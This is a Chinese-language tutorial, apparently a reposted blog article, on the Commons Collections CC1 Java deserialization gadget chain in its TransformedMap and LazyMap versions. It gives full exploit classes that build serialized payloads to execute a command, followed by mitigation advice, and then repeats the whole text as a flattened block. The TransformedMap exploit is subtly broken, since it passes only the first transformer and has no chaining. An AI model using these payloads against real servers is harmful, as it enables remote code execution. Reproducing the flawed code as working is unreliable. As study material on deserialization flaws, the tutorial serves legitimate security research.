Java反序列化CC1链子之国内国外版本总结
字数 1256 2025-08-29 22:41:02

Java反序列化CC1链分析(国内版与国外版)

环境配置

  • 漏洞存在范围:JDK8U71以下的JDK版本
  • 依赖库:commons-collections-3.2.1
  • 测试JDK版本:JDK8u65

基础概念

InvokerTransformer类分析

InvokerTransformer类继承了Transformer接口,关键代码如下:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (...) {
        ...
    }
}

这是一个经典的反射调用执行方法,通过InvokerTransformer的有参构造,然后调用transform方法,可以构造任意命令执行。

CC1国内版分析

基本利用代码

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);

构造链分析

  1. 初始链InvokerTransformer.transform() → 任意命令执行

  2. 向上寻找调用链

    • TransformedMap.checkSetValue() 调用了transform方法
    • AbstractInputCheckedMapDecorator.MapEntry.setValue() 调用了checkSetValue
  3. 链子构造原理

    • 使用TransformedMap.decorate()构造valueTransformer参数
    • InvokerTransformer放入参数中
    • checkSetValue调用时,会执行invokerTransformer.transform(value)
  4. 完整链

    AnnotationInvocationHandler.readObject()
      → TransformedMap.entrySet().iterator().next().setValue()
        → TransformedMap.checkSetValue()
          → InvokerTransformer.transform()
    

最终EXP代码(国内版)

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Domestic {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        // 构造TransformedMap
        Map innerMap = new HashMap();
        innerMap.put("value", "anything");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformers[0]);
        
        // 获取AnnotationInvocationHandler实例
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object instance = construct.newInstance(Target.class, outerMap);
        
        // 序列化与反序列化触发
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(instance);
        oos.close();
        
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

CC1国外版(LazyMap版)分析

与国内版的区别

LazyMap开始,调用链与国内版不同:

  1. 关键方法LazyMap.get() 调用了transform方法
  2. 构造链
    AnnotationInvocationHandler.readObject()
      → Proxy.entrySet().iterator().next()
        → AnnotationInvocationHandler.invoke()
          → LazyMap.get()
            → InvokerTransformer.transform()
    

关键代码分析

  1. LazyMap利用
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  1. 动态代理
// 创建代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    new AnnotationInvocationHandler(Target.class, lazyMap)
);

最终EXP代码(国外版)

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1Foreign {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        
        // 构造LazyMap
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        
        // 创建代理对象
        InvocationHandler handler = (InvocationHandler) 
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                .getDeclaredConstructor(Class.class, Map.class)
                .newInstance(Target.class, lazyMap);
        
        Map proxyMap = (Map) Proxy.newProxyInstance(
            Map.class.getClassLoader(),
            new Class[]{Map.class},
            handler
        );
        
        // 创建最终触发对象
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
            .getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Target.class, proxyMap);
        
        // 序列化与反序列化触发
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(instance);
        oos.close();
        
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

总结对比

特性 国内版 (TransformedMap) 国外版 (LazyMap)
起始点 AnnotationInvocationHandler.readObject() AnnotationInvocationHandler.readObject()
关键调用链 TransformedMap.setValue() → checkSetValue() → transform() LazyMap.get() → transform()
代理使用 使用动态代理
复杂度 相对简单 相对复杂
利用方式 直接调用setValue 通过代理调用get方法

防御措施

  1. 升级JDK:升级到JDK8u71及以上版本
  2. 安全配置
    • 使用安全管理器限制反序列化
    • 使用白名单控制可反序列化的类
  3. 依赖管理
    • 升级commons-collections到安全版本
    • 使用替代库如commons-collections4
Java反序列化CC1链分析(国内版与国外版) 环境配置 漏洞存在范围 :JDK8U71以下的JDK版本 依赖库 :commons-collections-3.2.1 测试JDK版本 :JDK8u65 基础概念 InvokerTransformer类分析 InvokerTransformer 类继承了 Transformer 接口,关键代码如下: 这是一个经典的反射调用执行方法,通过 InvokerTransformer 的有参构造,然后调用 transform 方法,可以构造任意命令执行。 CC1国内版分析 基本利用代码 构造链分析 初始链 : InvokerTransformer.transform() → 任意命令执行 向上寻找调用链 : TransformedMap.checkSetValue() 调用了 transform 方法 AbstractInputCheckedMapDecorator.MapEntry.setValue() 调用了 checkSetValue 链子构造原理 : 使用 TransformedMap.decorate() 构造 valueTransformer 参数 将 InvokerTransformer 放入参数中 当 checkSetValue 调用时,会执行 invokerTransformer.transform(value) 完整链 : 最终EXP代码(国内版) CC1国外版(LazyMap版)分析 与国内版的区别 从 LazyMap 开始,调用链与国内版不同: 关键方法 : LazyMap.get() 调用了 transform 方法 构造链 : 关键代码分析 LazyMap利用 : 动态代理 : 最终EXP代码(国外版) 总结对比 | 特性 | 国内版 (TransformedMap) | 国外版 (LazyMap) | |------|------------------------|------------------| | 起始点 | AnnotationInvocationHandler.readObject() | AnnotationInvocationHandler.readObject() | | 关键调用链 | TransformedMap.setValue() → checkSetValue() → transform() | LazyMap.get() → transform() | | 代理使用 | 无 | 使用动态代理 | | 复杂度 | 相对简单 | 相对复杂 | | 利用方式 | 直接调用setValue | 通过代理调用get方法 | 防御措施 升级JDK :升级到JDK8u71及以上版本 安全配置 : 使用安全管理器限制反序列化 使用白名单控制可反序列化的类 依赖管理 : 升级commons-collections到安全版本 使用替代库如commons-collections4